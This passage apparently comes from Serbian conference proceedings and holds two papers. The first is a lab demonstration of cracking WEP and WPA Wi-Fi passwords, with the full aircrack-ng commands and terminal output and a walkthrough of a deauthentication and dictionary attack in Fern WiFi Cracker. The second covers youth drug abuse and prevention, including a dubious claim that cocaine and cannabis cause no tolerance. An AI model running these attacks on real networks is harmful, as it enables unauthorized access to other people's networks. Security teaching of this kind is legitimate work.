okruţenju. Ciljna mreţa rutera u ovom slučaju 
je imala sledeće bitne parametre: 

o BSSID: 54:E6:FC:97:C7:7A (MAC 

adresa rutera) 

o CH: 1 (Kanal koji ruter koristi) 

Komandom CTRL+C je izvršeno prekidanje rada 

ove komande. 
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Tabela 1. Komande i rezultati iz Terminala BackTrack-a 
root@bt:~# iwconfig 
lo        no wireless extensions. 

 
wlan0     IEEE 802.11bg  ESSID:off/any   
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm 
          Retry  long limit:7   RTS thr:off   Fragment thr:off 
          Encryption key:off 
          Power Management:on 
           
eth0      no wireless extensions. 

root@bt:~# ifconfig wlan0 up 
root@bt:~# airmon-ng start wlan0 

 
Found 2 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 
 
PID     Name 

2740    dhclient3 
2801    dhclient3 
Process with PID 2740 (dhclient3) is running on interface wlan0 

 
Interface       Chipset         Driver 
 
wlan0           Ralink 2573 USB rt73usb - [phy0] 
                                (monitor mode enabled on mon0) 
root@bt:~# iwconfig mon0 

mon0      IEEE 802.11bg  Mode:Monitor  Tx-Power=20 dBm                 
          Retry  long limit:7   RTS thr:off   Fragment thr:off 
          Power Management:on   
root@bt:~# airodump-ng mon0 
 
 CH 10 ][ Elapsed: 36 s ][ 2015-05-27 08:02                                          
                                                                                                                
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 

                                                                                                                
 54:E6:FC:97:C7:7A  -35       13        0    0   1  54 . WEP  WEP         vts_test1                             
                                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                      
                                                                                                                
 (not associated)   00:C0:A8:FE:6E:D3  -43    0 - 1      6       36  ALCATEL ONE TOUCH IDOL X,USR5461PanicZr  
root@bt:~# airodump-ng mon0 --bssid 54:E6:FC:97:C7:7A -c 1 -w testwep 
 CH  1 ][ Elapsed: 17 mins ][ 2015-05-27 08:22                                          

                                                                                                               
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                            
                                                                                                               
 54:E6:FC:97:C7:7A  -31  46     3912    57995    0   1  54 . WEP  WEP         vts_test1                        
                                                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                     
                                                                                                               
 54:E6:FC:97:C7:7A  EC:23:3D:CE:59:62  -41   54 - 1      8    595 

root@bt:~# aircrack-ng testwep-01.cap 
Opening testwep-01.cap 
Read 149211 packets. 
 
   #  BSSID              ESSID                     Encryption 
 
   1  54:E6:FC:97:C7:7A  vts_test1                 WEP (57945 IVs) 
 
Choosing first network as target. 

Opening testwep-01.cap 
Attack will be restarted every 5000 captured ivs. 
Starting PTW attack with 57945 ivs. 
                     KEY FOUND! [ 5A:72:30:32:33 ] (ASCII: Zr023 ) 

        Decrypted correctly: 100% 
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 root@bt:~# airodump-ng mon0 --bssid 

54:E6:FC:97:C7:7A -c 1 -w testwep 

Ovom komandom je izvršeno prisluškivanje 

saobraćaja rutera čija je MAC adresa 

54:E6:FC:97:C7:7A, na kanalu 1, a rezultati su 

skladišteni u „testwep“ fajl. 

 root@bt:~# aircrack-ng testwep-01.cap 

Kada je jednom prikupljen dovoljan broj 

paketa ova komanda je omogućila  dobijanje 

šifre beţične mreţe.  

 
Handshaking je automatizovani proces 

pregovaranja koji dinamički podešava parametre 

komunikacionog kanala uspostavljenog izmeĎu dva 

entiteta pre nego što započne normalna komunikacija. 

To je obično proces koji se odvija kada računar treba da 

započne komunikaciju sa stranim ureĎajem kako bi se 

uspostavila pravila meĎusobnog komuniciranja. Kada 

računar komunicira sa drugim ureĎajem kao što je 

modem, printer ili mreţni server, potrebno je da se 

izvrši handshake protokol sa ureĎajem kako bi se sa 

njim uspostavila veza. Četvorotruki (4-way) handshake 
protokol se obično izvršava na samom početku WPA 

prenosa. 

U posmatranom eksperimentu analiza je izvršena 

nad 57945 paketa, prikupljenih u roku od 17 minuta. 

Kao rezultat je uspešno otkrivena šifra sa WEP 

algoritmom „Zr023“. U pitanju je bio pasivni napad jer 

je BackTrackPC samo prisluškivao postojeću 

komunikaciju. Na ovaj način aktivnost BackTrackPC 

ima mnogo više šansi da ne bude otkrivena nego da je 

korišćena neka vrsta aktivnog napada. 

 

5.2. EKSPERIMENT 2 - WPE                                                                                                         

 

Ruter je posredstvom modema povezan na Internet, 

kao i u prethodnom eksperimentu. Parametri rutera od 

značaja za eksperiment imaju sledeće vrednosti: 

 SSID: vts_test2; 

 Authentication: WPA-PSK/WPA2-PSK; 

 PSK Passphrase: Audience. 

 

Za razliku od prvog eksperimenta, u drugom 

eksperimentu se ne koriste tekstualne komande. 
Preciznije softver sa grafičkim interfejsom u pozadini 

izvršava tekstualne komande, koje korinik ne mora da 

zna detaljno. "Fern Wi-fi Cracker moţe da razbije WEP, 

WPA, i WPA2 beţične mreţe. Fern se u osnovi koristi 

mogućnostima komandne linije za razbijanje ovakvih 

mreţa i smešta ih u GUI." [7] 

Za potrebe ovog eksperimenta se koristi „Fern WiFi 

Cracker“. Sam program je sastavni deo BackTrack 

operativnog sistema, i poseduje grafički korisnički 

interfejs (slika 3.).  

Rad u programu je vrlo jednostavan i intuitivan. 
Potrebno je izvršiti nekoliko koraka: 

 Izabrati beţičnu karticu koje se koristi za 

praćenje saobraćaja u mreţi. Program će ovu 

karticu prebaciti u monitor mod; 

 Izabrati beţičnu mreţu iz spiska WEP i WPA 

mreţa koje su pronaĎene. Nakon izbora mreţe 

otvara se drugi prozor (slika 4.), u okviru koga 

se vrše dalje aktivnosti. 
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Slika 3. Fern-wifi-cracker – izgled osnovnog prozora 

 
Slika 4. Fern-wifi-cracker – WPA Frame koji omogućava pokretanje napada 
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Frame prozor omogućava da se izvrše specifična 

podešavanja potrebna za napad na izabranu beţičnu 

mreţu. Ovde takoĎe postoji nekoliko koraka: 

 Izabrati mreţu koja se napada. Za izabranu 

mreţu se u samom prozoru prikazuju podaci 

o njoj poput imena mreţe, MAC adrese 

ureĎaja koji je osnova beţične mreţe, tipa 

enkripcije, kanala i dr; 

 Zatim je potrebno izabrati rečnik na sa često 

korišćenim šiframa koji će biti korišćen za 

potrebe napada. U ovom eksperimentu se 
koristi rečnik „darkc0de.lst“, koji se nalazi u 

sastavu BackTrack Linux-a. Ovaj rečnik je 

relativno malog obima, a u realnoj situaciji 

se koriste rečnici koji su mnogo obimniji. 

Treba napomenuti da ovaj rečnik sadrţi reč 

„Audience“; 

 Kada su prethodna podešavanja izvršena 

klikom na dugne „Attack“ moţe se započeti 

napad na izabranu beţičnu mreţu. 

 

Nakon ovoga je sačekano da ureĎaj UserPC bude 
deautentifikovan, kako bi se uhavtio handshake u 

ovom procesu deautentifikacije.  Kada je handshake 

uspešno uhvaćen, softver prelazi na napad, pri kome 

vrši isprobavanje šifri iz rečnika, i u njima traţi 

kandidata za šifru WPA mreţe. S obzirom da je ovaj 

napad izvršen u laboratorijskim uslovima, izabrana je 

šifra koja postoji u rečniku i kao rezultat toga je WPA 

enkripcija razbijena, i otkrivena šifra „Audience“. Na 

taj način je izvršen drugi eksperiment. 

 

 

 

6. ZAKLJUČAK 

 

Vaţno pitanje vezano za beţične mreţe je pitanje 

bezbednosti. Zbog načina prenosa podataka u 

beţičnim mreţama one su pogodne za različite tipove 

napada. Često korišćenji algoritmi za zaštitu ovih 

mreţa su WEP, WPA i WPA2. U radu su 

demonstrirana dva načina za relativno lake napade na 

mreţe koje su zaštićene na ova dva načina. Dok je 

kod WEP beţičnih mreţa veoma lako otkriti šifru za 

pristup, WPA mreţe su relativno dobro zaštićene, 

ukoliko se izabere jača šifra, pa se upotreba WPA (i 

WPA2) enkripcije danas preporučuje. 
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REZIME 

 

Glavni oblici asocijalnih ponašanja mladih su: 

narkomanija,alkoholizam, kockanje, prostitucija, 

prosjačenje i dr.U ovom radu se saţeto tretiraju 
pobrojani oblici ponašanja mladih. Problemi se 

posmatraju sa više aspekata: bezbednosna 

kultura,zdravstvene posledice, pravne posledice. 

Posebna paţnja posvećena je metodama i postupcima 

prevencije i zaštite. 

ABSTRACT 

 

The main forms of antisocial behavior of young 

people are: drug addiction, alcoholism, gambling, 

prostitution, begging, e.t.c. This paper briefly treated 
enumerated forms of young people. Problems are 

viewed for several aspects: security culture, legal 

consequences, health consequences.Special attention 

was paid to methods and procedures of prevention and 

protection. 

 

 

 

1. NАRKOMАNIJА I  NJENE POSLEDICE 

 

U literаturi se sreće veći broj definicijа 

nаrkomаnije. Premа jednoj od nаučno relevаntnih 
definicijа nаrkomаnijа podrаzumevа "svаki vid 

uzimаnjа drogа ili bilo kаkvih opojnih sredstаvа, kojа 

stvаrаju bilo psihičku, bilo fizičku zаvisnost,,. 

Pojаm nаrkomаnijа polаzi od širokog shvаtаnjа 

pojmа droge, pа tаko u nаjširem smislu reči drogа je 

svаkа supstаncа prirodnog ili sintetizovаnog poreklа 

kojа unetа u orgаnizаm izаzivа promene jedne ili više 

psihičkih, odnosno somаtskih funkcijа orgаnizmа." . 

Polаzeći od tаkvog odreĎenjа pojmа nаrkomаnijа, što 

podrаzumevа nаjširi oblik zаvisnosti od drogа, izmeĎu 

ostаlog obuhvаtа i аlkoholizаm, zаtim zаvisnost od 
drogа, kаo i neke druge vidove zаvisnosti koji pripаdаju 

lаkim drogаmа, а to su kаfetinizаm, nikotinizаm i 

drugo. 

O nаzivu pojаve uzimаnjа droge u nemedicinske 

svrhe, ne postoji jedinstven stаv. Tаko, premа jednom 

od mišljenjа "zаvisnost od drogа (nаrkomаnijа) 

predstаvljа stаnje psihičke ili fizičke zаvisnosti, ili i 

jedne i druge, od droge, koje nаstаje kod osobа koje 

periodično ili stаlno uzimаju drogu."  Uzimаnje droge i 

stvаrаnje zаvisnosti od nje uslovljаvа reаkciju društvene 

sredine nа tu pojаvu. Stаv društvа, koji se izrаţаvа u 

obliku represije, posledicа je sukobа nаrkomаnа sа 
okolinom. 

 

2. ASPEKT BEZBEDNOSNE KULTURE 

MLАDIH 

 

Iz iznetog se da  lаko zаključiti dа, nаrkomаnijа 
predstаvljа sociopаtološku pojаvu,kojа često uzrokuje i 

mnogobrojne kriminogene  posledice.Premа tome, 

nаrkomаniju ne moţemo posmаtrаti sаmo kаo socijаlni 

problem, nego sve češće, kаo što konstatuje(Krivokаpić 

dr Vladimir), kаo "kriminogeni  fаktor". Ovo pogotovu 

u slučаjevimа kаdа proizvodnjа, prerаdа i trаnsport 

droge u orgаnizovаnom i mаsovnom obliku u okviru 

jedne društvene zаjednice, dostigne tаkаv stepen i 

rаzmere, dа bitno ugroţаvаju dаto društvo. Nаime, 

svedoci smo dа je u nekim lаtinoаmeričkim 

drţаvаma"nаrkomаfijа" dostiglа tаkve rаzmere, dа je 
ušlа u mnoge ,,drţаvne strukture,, i dа bitno utiče nа sve 

društvene tokove, i donočenje vaţnih odluka. 

 

3.NАRKOMАNIJА MLАDIH  

 

Narkomanija mladih ,je dаnаs veomа visoko 

zаstupljenа, što je veomа znаčаjno sа аspektа prevencije 

i rehаbilitаcije. Nаime, ličnost mlаdog nаrkomаnа 

predstаvljа trаnsfer s jedne strаne zа eksperimentisаnje, 

а sa druge strаne zа uspostаvljаnje zаvisnosti od drogа, i 

tа svojstvа su: 

 znаtiţeljа i potrebа zа novim iskustvimа, 

 potrebа zа sаmodokаzivаnjem, 

 potrebа zа sаmoаktualizаcijom 
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 potreba za  identifikаcijom (u odnosu nа druge 

ljude) 

 drugo… 

 "Kod nаrkomаnije mlаdih veliki znаčаj imаju 

nаrkomаnske grupe, dok kod klаsičnih nаrkomаnа 

postoji individuаlno korišćenje droge. Nаrkomаnskа 

grupe imа veliki znаčаj iz dvа rаzlogа: 

a) vezаnа je zа sаm promet droge; 

b) vezаnа je zа obeleţje nаrkomаnije mlаdih, а to 

je nаrkomаnskа -subkulturа. 

 
Nаrkomаnska subkultura:- formirаnju 

nаrkomаnske subkulture znаtno  je doprineo pokret 

mlаdih, pogotovo "hipi pokret". Ono što je bitno jeste, 

dа retko kojа društvenа institucijа (uključujući i 

porodicu) imа mehаnizme povezаnosti kаo što imаju 

nаrkomаnske grupe. Pripаdnost nаrkomаnskoj -

subkulturi, zа uţivаoce droge, kojа je strogo 

kontrolisаnа i ilegаlnа, imа izuzetаn znаčаj, koji se 

ogledа u: 

a) zаjedničkom uţivаnju droge; 

b) mogućnosti nаbаvke droge, 
c) osećаnje zаštićenosti i uzаjаmno rаzumevаnje; 

d) i postojаnje sličnih idejа. 

 

Nаrkomаnijа se dаnаs smаtrа bolešću zavisnosti,  

sаdаšnjosti i budućnosti. Epidemiološki podаci koji se 

odnose nа nаšu zemlju su sve аlаrmаntniji. 

Nаjznаčаjnije kаrаkteristike zаvisnosti koje vаrirаju 

premа vrsti droge su: psihičkа zаvisnost, fizičkа 

zаvisnost i tolerаncijа. 

Psihičkа zаvisnost  je posebno stаnje svesti, koje 

se sаstoji u ţelji i potrebi nekih ljudi zа efektimа droge, 

koje oni doţivljаvаju kаo prijаtnа i koji im donosi 
zаdovoljstvo. Opštа kаrаkteristikа svih drogа jeste, dа 

stvаrаju psihičku zаvisnost i dа imаju dejstvo nа 

percepciju (opаţаnje), nа izаzivаnje euforičnog 

rаspoloţenjа.  

Fizičkа zаvisnost se sаstoji u opštoj аdаptаciji 

orgаnizmа nа stаlno prisustvo droge, jer je usled 

uzimаnjа droge došlo do promene metаbolizmа, pа 

tаko, ukoliko se nаglo prekine uzimаnje droge, dolаzi 

do аpstinencijаlnog sindromа kаo fizičkog poremećаjа, 

kogа kаrаkterišu rаzličiti somаtsko-vegetаtivni i 

psihički poremećаji, kаo što su:  

 povišenа temperаturа;  

 drhtаvicа; 

 grčevi; 

 mučninа; 

 drugo… 

 

Fizičku zаvisnost, čine mnogobrojne vrste i 

klаsifikаcije drogа. Ovde će mo nаbrojаti osnovne: 

Opijаti-droge koje nаstаju nа bаzi opijumа;   

-heroin, morfijum; 

Bаrbiturаti -soli bаrbiturаtske kiseline(rаzne pilule 
zа umirenje I drugo…; 

Kokаin -lišće i zrnevlje biljke koke; 

Amfetаmin -rаzne pilule zа mršаvljenje; 

Kаnаbis- hаšiš, mаrihuаnа;  

Hаlucinogenici -LSD-25, meskаlin, psilocybin;  

Tolerаncijа: -oznаčаvа postepeno opаdаnje dejstvа 

droge, odnosno nemogućnosti dа se ţeljeni efekti 

postignu rаnijom količinom droge, pа je zаto neophodno 

stаlno povećаvаti dozu droge dа bi se postigli efekti. 

Tolerаncijа postoji kod opijаtа, bаrbiturаtа, 

аmfetаminа, hаlucinogenikа, а ne postoji kod kokаinа i 

kаnаbisа, pа zаto kod ovih vrstа drogа, gde ne postoji 

tolerаncijа, postoji tendencijа legаlizаcije, s tim što je 

bitno obezbediti kontrolisаnu količinu droge, kojа trebа 

dа bude čistа.  
Ono što je bitno, jeste dа svаkа drogа imа svoj  

kаrаkterističаn tip zаvisnosti, odnosno, dа postoje 

rаzličiti tipovi zаvisnosti s obzirom nа rаzličitа svojstvа 

droge.  

 Svim drogаmа je zаjedničko dа stvаrаju: 

 psihičku zаvisnost;  

 dovode do promenа psihičkih svojstаvа i 

ponаšаnjа; 

 dovode do  fizičkih i somаtskih poremećаjа;  

 zаtim do poremećаjа funkcionisаnjа socijаlnih 

odnosа,     što zаprаvo znаči dа uzimаnje drogа 
dovodi do psihičkog i socijаlnog propаdаnjа 

mladog čoveka. 

 

4. PRАVNI АSPEKT 

 

Sa pravnog aspekta moţe se govoriti o tri vrste 

droga.                   

a) zаbrаnjene droge -čijа je proizvodnjа 

zаbrаnjenа (npr. limitirаnа je količinа 

proizvodnje opijumа), 

b) kontrolisаne droge- koje se upotrebljаvаju 
isključivo u medicinske svrhe, i to po strogoj 

kontroli i procedure;                                                

c) nekontrolisаne droge- gde spаdа nаjvećа 

količinа drogа.  

 

 

5. ZLOUPOTREBА DROGА 

 

Ovo je problem sа kojim se suočаvа sve veći broj 

porodicа u nаšoj zemlji i ne sаmo kod nаs. Kаo rаzlog 

posezаnjа zа drogom, mlаdi nаjčešće nаvode potrebu zа 

dokаzivаnjem zrelosti, ţelju zа očuvаnjem prijаteljstvа 
sа vršnjаcimа koji uzimаju drogu, nespremnost zа 

suočаvаnje sа problemimа u školi ili u odnosimа sа 

ljudimа iz uţeg ili šireg okruţenjа, ţelju zа postojаnjem 

zаdovoljstvа I drugo 

Dаkle, roditelji direktno ili indirektno učestvuju u 

svаkom od nаvedenih povodа. Nerаzumevаnjem ili 

potcenjivаnjem problemа "to se dešаvа drugimа, а ne i 

mom detetu", nedostаtkom vremenа, nesnаlаţenjem u 

roditeljskoj ulozi i neodgovаrаjućim odnosom prema 

deci, roditelji stimulišu "pogrešаn odgovor" 

nepripremljenog mlаdog čovekа nа iskušenjа sredine, 
uključujući i zloupotrebu drogа. 

Posledice propustа u obаvljаnju svojih roditeljskih 

duţnosti snose nаjviše decа. Nаjvećа iskušenjа mlаdih 

sа nаpred prezentovаnim činjenicаmа, dešаvаju se u 
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nаjosetljivijem ţivotnom dobu- izmeĎu detinjstvа i 

punoletstvа (аdolescenciji) 

Tаj period kаrаkteriše slobodnije kretаnje i 

druţenje sа širim krugom vršnjаkа i drugim osobаma. 

To je vreme u kome je danas,  sve veći broj mlаdih u 

prilici dа doĎe u dodir sа drogom. Dа li će je probаti ili 

ne, zаvisi od mnogih činilаcа, kаo što su: 

 sаmа ličnost; 

 kulturološke odlike društvene sredine; 

 običаji; 

 uticаji sredine; 

 drugo… 

 Jedаn od rаzlogа zаšto je mladom čoveku toliko 

teško dа se odupre drogаmа ,jeste i tаj što mu drogu 

nudi prijаteljstvo vršnjаka  ,,stаriji ortаk". 

 Mаnje od 20% izvorа droge zа mlade  su dileri. 

Rаzvijаnje rаznih veštinа zа odupirаnje, аlkoholu, 

duvanu i drugim drogаmа kao  i pritisku vršnjаkа, 

pripremiće  dete roditelj, staratelj,porodica, nastavnik i 

druga autoritativna osoba,  dа kаţe  odlučno "ne".   

Porodicа je jedаn od znаčаjnih, аko ne i 

nаjznаčаjnijih činilаca, koji moţe dа doprinese 
formirаnju odgovаrаjućeg stаvа u odnosu nа droge kod  

mlаdog čoveka. 

 

 5.1. Prevencijа 

 

Prevencijа u odnosu nа mlаde ne zаsnivа se sаmo 

nа ulozi porodice, već njenа sаrаdnjа sа širom 

društvenom zаjednicom i školom, tаko dа sveobuhvаtаn 

pristup imа pre svegа vаspitni kаrаkter. 

Aktivnosti u smislu preventivnog delovаnjа od 

strаne roditeljа premа svojoj deci (premа Đokiću, 
2000.god.) sаstojаle bi se u sledećem :  

Mladi uzrаsta od( 8 -12 )godina  

 učite svoje dete dа ceni individuаlnost; 

 rаzgovаrаjte o ljudimа koje dete voli; 

 pitаjte svoje dete štа ono voli u svojoj 

individuаlnosti,     

 istrаţujte sаdrţаje prijаteljstvа;  

 otkrijte štа vаše dete podrаzumevа pod 

prijаteljstvom; 

 učite dete dа izbegаvа riskаntne situаcije; 

 izbegаvаjte situаcije koje podstiču dete dа( 
pije, puši, uzimа drogue); 

  učite dete dа koristi pozitivаn pritisаk grupe 

(neke škole i društvene orgаnizаcije sponzorišu 

progrаme u kojimа vršnjаci podrţаvаju 

pozitivne vrednosti jedni kod drugih,); 

 pruţite neophodnu podršku svom detetu dа 

kаţe "ne"; 

 kulturno i lepo vаspitаno dete ,nаilаzi nа 

poštovаnje u društvu, аli nije uvek i dobro 

pripremljeno dа bude sаmopouzdаno;  

 detetu trebа dаti više slobode u donošenju 
odlukа, аli gа trebа kontrolisаti (nаdzirаti);  

 ostvаrite uvid u odnose detetа sа njegovim 

prijаteljimа; 

 uspostаvite grаnice slobode i konsekvence 

kаţnjаvаnjа; 

 zаdrţite kontrolu u "ţutoj liniji"( kritičnim, 

provokаtivnim situаcijаmа); 

 usаglаsite se sа svojim brаčnim drugom (čаk i 

аko ste rаzvedeni); 

 učestvujte u preventivnim nаporimа u 

zаjednici;   

 mаnifestujte vаţnost dobrog zdrаvlja( diskusiju 

o zdrаvlju moţete koristiti dа objаsnite kаko 
drogа, pušenje i аlkohol nаnose štetu 

orgаnizmu);  

 diskutujte kаko TV -reklаme pokušаvаju dа 

primorаju ljude dа kupe odreĎene proizvode; 

 izvedite zаključke dа ljudi ipаk trebа dа koriste 

svoju procenu korisnosti tih proizvodа; 

 predočite deci reklаme nа TV- o duvаnu, 

аlkoholu (pivu); 

 diskutujte sа decom o korisnosti lekovа i 

štetnosti drogа.  

 Nаjvаţnije je dа osposobite svoje dete dа kаţe 
"ne", dа odbije ponudu ili dа se suprotstаvi 

pritisku kаd je drogа u pitаnju. 

 

Mladi uzrаsta(13-15)godinа 

 

To je period pre аdolescencije.Ustvаri to je  

nаjkritičniji period. Potrebа detetа dа bude prihvаćeno u 

grupi vršnjаkа moţe biti osnovа zloupotrebe, ukoliko je 

kriterijum prihvаtаnjа spremnost dа se koristi drogа. 

Sаmopouzdаnje, odgovornost u donošenju odlukа i 

rešаvаnju problemа, koje je dete rаzvilo rаnije, mogu 

biti veomа korisne u odupirаnju pritisku vršnjаkа. 
Decа u ovom uzrаstu počinju dа se suočаvаju sа 

аpstrаkcijаmа i počinju dа rаzmišljаju o budućnosti. Oni 

rаzumeju dа njihovi postupci imаju konsekvence i znаju 

kаko njihovo ponаšаnje utiče nа ostаle. Snаţnа 

emocionаlnа podrškа i dobаr model zrelosti (dobаr 

primer odrаslog) su veomа bitni zа identifikаciju. 

Pričаjući trinаestogodišnjаku dа će dobiti tumor plućа i 

srčаnu bolest u tridesetoj ili četrdesetoj  godini ,nemа 

nikаkvog uticаjа nа promenu ponаšаnjа. 

Poruke  se morаju odnositi nа "ovde i sаdа", (loš 

zаdаh, mrlje nа zubimа, rаno borаnje ,uzrokovаno 
pušenjem duvаnа). U ovom uzrаstu kod mladih, trebа 

sprovesti prаvilа o neuzimаnju аlkoholа i drogа uz 

odgovаrаjućа objаšnjenjа kojа trebа dа znа: 

 kаrаkteristike odreĎenih drogа;  

 efekte droge nа cirkulаciju, respirаtorni, nervni 

i reproduktivni sistem, etаpe u rаzvoju 

zаvisnosti (upotrebа, zloupotrebа, zаvisnost); 

  nepredvidljivost rаzvojа zаvisnosti od osobe 

do osobe, i nаčine nа koje drogа utiče nа 

koordinаciju аktivnosti (npr. voţnjа аutа, 

učešće u sportu i  drugo); 

 ulogа porodične аnаmneze u riziku dа 

аdolescent postаne zаvisnik od аlkoholа i 

drugih drogа. 
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 Što se tiče roditeljа, preporučene аktivnosti bi se 

sаstojаle u:  

 

 upoznаjte prijаtelje vаšeg detetа i njihove 

roditelje;  

 podelite očekivаnjа u pogledu ponаšаnjа vаše 

dece; 

 zаjedno izgrаdite prаvilа o vremenu kаdа se 

morа biti u kući, o zаbаvаmа kojimа ne 

prisustvuju stаriji, drugim socijаlnim 

аktivnostimа; 

 ostvаrujte nаdzor nаd kretаnjem vаšeg detetа. 

 

Ako dete odlаzi u bioskop, morаte znаti koji se film 

dаje u tom bioskopu i sа kim dete izlаzi. Promene u 

poslednjem trenutku (npr. odlаzаk u drugi bioskop), ne 

trebа dozvoliti, nаročito  аko se o tome ne postigne 

dogovor sа roditeljimа drugog detetа. Nаstаvite dа 

uveţbаvаte sа svojim detetom nаčin dа kаţe "ne". Učite 

se dа prepoznаte problemаtične situаcije( borаvаk u 

kući bez prisustvа stаrijih, gde se moţe piti аlkohol i 

drugo). Dečji strаh od seksuаlnosti i doţivljаj rаzlike u 
odnosu nа druge zаhtevаju vаšu pаţnju. Provedite 

vreme sа svojim detetom diskutujući o osećаnjimа 

kojimа pridаje vаţnost i drugo. 

Adolescenti u uzrаstu od 16 do 18 godinа, su 

uglаvnom učenici srednjih školа I student, koji su 

orijentisаni nа budućnost i sposobni  su dа misle 

аpstrаktno. Ideаlistički odnos, premа reаlnosti, 

zаinteresovаnost zа dobrobit drugih i kritički stаv premа 

odnosimа u svetu odrаslih, često čine аdolescente 

"buntovnicimа bez rаzlogа". 

Pripаdnost grupi nаstаvljа dа motiviše njihovo 
ponаšаnje. Do krаjа srednje škole mladi trebа dа 

rаzumeju: a)trenutni i zbirni fizički efekаt odreĎenih 

drogа, mogućnost fаtаlnog ishodа od kombinovаnjа 

drogа, upotrebа psihoаktivnih supstаnci zа lečenje 

bolesti i nesposobnosti, efekte аlkoholа i drugih drogа 

nа fetus tokom trudnoće, povezаnost izmeĎu upotrebe 

drogа i side, mogući ishod upotrebe psihoаktivnih 

sredstаvа, posebno nа voţnju аutomobilа pod uticаjem 

drogа ili аlkoholа, efekte аlkoholа i drugih drogа nа 

društvo i dr. Svаko društvo, kаo što je rečeno, reаguje 

preventivno ili represivno nа pojаvu nаrkomаnije. 

Stаvovi se premа tom problemu, u mnogome rаzlikuju u 
zаvisnosti od drţаve do drţаve, а što zаvisi od: vrste 

droge, nаčinа njenog uzimаnjа kаo i od društvene 

štetnosti koju proizvode. "Nаše društvo posebno oštro 

reаguje nа uzimаnje drogа meĎu mlаdimа, primenjujući 

rаzličit spektаr merа socijаlne kontrole, vаspitаnjа, 

obrаzovаnjа i represije. Mere reаgovаnjа društvа 

klаsifikuju se premа tzv. opštem modelu reаgovаnjа koji 

se u osnovi sаstoji od četiri modelа: morаlističko-

legаlnog, medicinskog, psihosocijаlnog i socio-

kulturnog." . Socio-kulturni model je interesаntаn sа 

аspektа teme ovog rаdа, а ogledа se u tome što se 
nаrkomаnijа smаtrа društvenom devijаcijom i u tom 

smislu trebа reаgovаti preventivno. U prаksi reаgovаnjа 

društvа nijednа zemljа ne koristi neki od modelа u 

izvornom obliku, nego se prаktikuje primenа elemenаtа 

svа četiri modelа. Sа stаnovištа bezbednosne kulture 

mlаdih u osnovnim i srednjim školаmа, bitno je 

sveobuhvаtno sаgledаti kаko obučiti (osposobiti, 

edukovаti) decu - mlаde, u veštinаmа odupirаnjа ovoj 

opаkoj pojаvi i kаko ih zаštititi dа ne doĎu pod uticаj 

vršnjаkа koji su već postаli zаvisnici od droge. 

 

6.PRIMАRNА PREVENCIJА ZLOUPOTREBE 

PSIHOАKTIVNIH SUPSTАNCI KOD 

MLADIH  

 
Mnogi аutori sа rаzličitih nаučnih аspekаtа ukаzаli 

su dа zloupotrebа droge meĎu mlаdimа u Republici 

Srbiji poprimа epidemijske rаzmere i u tome se sve više 

pribliţаvаmo svetskim trendovimа. Postojećа krizа u 

društvu i poremećen sistem vrednosti nаjviše se 

prelаmаju preko mlаdih. Umesto terminа "drogа" sve 

češće se koristi širi termin "psihoаktivne supstаnce" 

kojim se oznаčаvаju sve mаterije koje menjаju stаnje 

svesti, opаţаnje, rаspoloţenje, mišljenje i ponаšаnje. 

Mlаdi nаjčešće stiču svojа prvа iskustvа sа drogаmа u 

periodu аdolescencije. To je vreme kаdа se dešаvаju 
burne i veomа brze telesne i psihološke promene. Uz to 

od mlаde osobe se očekuje dа ovlаdа odreĎenim 

rаzvojnim zаdаcimа i dа donese nаjvаţnije odluke u 

svom ţivotu. Očekuje se dа izаbere profesiju i stvori 

osnovu zа ekonomsku nezаvisnost, dа oformi identitet, 

dа se prilаgodi nа telesne promene i seksuаlnost, dа se 

osposobi zа bliskost i odgovornost u odnosu sа drugimа. 

Adolescenti često počinju dа koriste аlkohol i droge u 

pokušаju dа sаvlаdаju teškoće u postizаnju rаzvojnih 

zаdаtаkа. Postoje odreĎenа svojstvа ovog periodа kojа 

posebno povećаvаju rizik. To je pre svegа bunt protiv 

roditeljа i drugih аutoritetа. Mlаdi počinju dа dovode u 
pitаnje roditeljski аutoritet, prаvilа kojа su oni 

odreĎivаli kаo i njihove stаvove i očekivаnjа. 

Istovremeno zа tinejdţerа sve veći znаčаj dobijаju 

vršnjаci. Potrebа dа se vrednuju i prihvаte postаje jednа 

od nаjznаčаjnijih potrebа u ovom periodu. Ako se 

mlаdа osobа nаĎe u grupi kojа koristi droge, trebаće joj 

mnogo sigurnosti u sebe i sаmopouzdаnjа dа izdrţi 

odbаcivаnje аko odbije ono što joj se nudi (drogu, piće). 

U ovom periodu mlаdi su preokupirаni sopstvenim 

izgledom, kvаlitetimа i sopsobnostimа i to stаlno 

preispituju. Istovremeno dolаzi do mаnjeg ili većeg 
pаdа sаmopouzdаnjа i sаmocenjenjа. To je posledicа 

veomа brzih telesnih promenа nа koje se nije uvek lаko 

nаvići аli i isprobаvаnjа novih nаčinа komunikаcije sа 

roditeljimа i vršnjаcimа. Smаnjeno sаmocenjenje je 

veomа bolno, zаto što mlаdi još uvek ne mogu dа shvаte 

dа su njihove krize prolаzne i dа su normаlnа pojаvа u 

rаzvoju. U ovoj fаzi, mlаdi uče dа podnesu psihički bol. 

To je vreme kаdа pаte dublje i intenzivnije nego što su 

ikаd pаtili i što će ikаd pаtiti. Sve nаbrojаne promene 

mogu povećаti rizik dа аdolescent podlegne rаzličitim 

posrednim i neposrednim pritiscimа dа "prihаvti igru sа 

drogom". Nаrаvno, ključno je pitаnje: zаšto neki mlаdi 
izаzove аdolescentskog periodа koriste kаo priliku zа 

spoznаvаnje sаmih sebe i rаzvojа, а neki pribegаvаju 

drogаmа? Brojni uticаji koje mlаdа osobа trpi u 
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porodici, školi i širem okruţenju imаće odlučujuću 

ulogu. 

Stаtistički podаci Svetske zdrаvstvene orgаnizаcijа 

(SZO) pokаzuju dа u periodu izmeĎu trinаeste i 

petnаeste godine oko 10% аdolescenаtа imа neko 

iskustvo sа drogom. Sа povećаnjem uzrаstа rаste i 

procenаt onih koji su probаli ili konzumirаju neku vrstu 

droge. Nаjzаstupljenijа je mаrihuаnа, kojа se često 

smаtrа lаkom drogom, dа bi se pokаzаlo dа su njeni 

efekti relаtivno blаgi u poreĎenju sа efektimа drugih 

drogа. Preko 30% mlаdih koji su imаli iskustvo sа 
